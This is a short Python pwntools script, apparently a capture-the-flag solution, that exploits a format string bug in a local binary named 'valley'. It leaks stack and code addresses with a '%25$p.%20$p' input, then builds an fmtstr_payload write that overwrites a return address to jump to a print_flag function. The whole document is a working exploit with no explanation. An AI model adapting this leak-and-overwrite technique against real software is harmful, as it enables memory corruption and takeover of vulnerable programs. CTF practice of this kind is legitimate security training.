#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./valley", checksec=False)
libc = target.libc
r = process()

# funcs
s = lambda a: r.sendlineafter(b": ", a)
ss = lambda a: r.sendline(a)

# leak
s(b"%25$p.%20$p")
r.recvuntil(b": ")
leaks = r.recvlineS().split(".")
print_flag = int(leaks[0], 16) - 0x198
log.info("print_flag: %#x", print_flag)
stack_addr = int(leaks[1], 16)+0x8
log.info("stack_addr: %#x", stack_addr)
some_addr = print_flag + 0x2d97

# write
writes = {stack_addr:print_flag}
fs = fmtstr_payload(6, writes, write_size='short')
ss(fs)
ss(b"exit")

r.interactive()